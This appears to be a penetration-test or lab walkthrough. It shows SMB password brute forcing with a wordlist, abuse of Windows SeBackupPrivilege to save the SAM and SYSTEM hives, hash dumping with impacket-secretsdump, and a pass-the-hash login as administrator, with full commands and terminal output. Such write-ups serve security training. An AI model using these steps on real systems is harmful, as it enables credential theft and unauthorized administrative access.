SMB Credential Brute Forcing

```
nxc smb 192.168.200.24 -u [redacted] -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
SMB         192.168.200.24  445    ADMIN            [*] Windows 10 / Server 2019 Build 19041
```

```
[+] ADMIN\[redacted]:loser
```

We were able to determine a potential username on the server, so we can brute force the user's password if it is sufficiently weak

Privilege Escalation
SeBackupPrivilege

```
*Evil-WinRM* PS C:\Users\j.wilson\Documents> whoami /priv

INFORMACIàN DE PRIVILEGIOS
──────────────────────────

Nombre de privilegio                Descripci¢n
═══════════════════════════════════ ═══════════════════════════════════
SeBackupPrivilege                   Hacer copias de seguridad de
```

The Windows SeBackupPrivilege allows all read access to any file on the system

Privilege Escalation
SeBackupPrivilege

```
*Evil-WinRM* PS C:\Users\j.wilson\Documents> whoami /groups

INFORMACIàN DE GRUPO
--------------------

Nombre de grupo                                             Tipo
=========================================================== ================
=======================================

Todos                                                       Grupo conocido
 predeterminada, Grupo habilitado
BUILTIN\Operadores de copia de seguridad                    Alias
```

It is associated with members of the Windows Backup Operators group

Privilege Escalation
SeBackupPrivilege

```
*Evil-WinRM* PS C:\Users\j.wilson\Documents> reg save hklm\sam sam.hive
La operaci¿n se complet¿ correctamente.

*Evil-WinRM* PS C:\Users\j.wilson\Documents> reg save hklm\system system.hive
La operaci¿n se complet¿ correctamente.
```

Abusing a user's SeBackupPrivilege can lead to exposure of a local system's SAM.hive and SYSTEM.hive files

Privilege Escalation
SeBackupPrivilege

```
└─$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x827cc782adafc2fd1b7b7a48da1e20ba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
```

Which, when combined, can expose the password hashes for all user accounts on the local system

Privilege Escalation
Admin User Pass The Hash Attack

```
└─$ evil-winrm -i 192.168.200.23 -u 'administrator' -H '41186fb28e283ff758bb3dbeb6fb4a5c'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_pr
lemented on this machine
```

```
*Evil-WinRM* PS C:\> whoami
hosting\administrator
```

If we have the local admin user's hash, we can leverage that with a Pass the Hash attack to gain admin-level terminal access to the server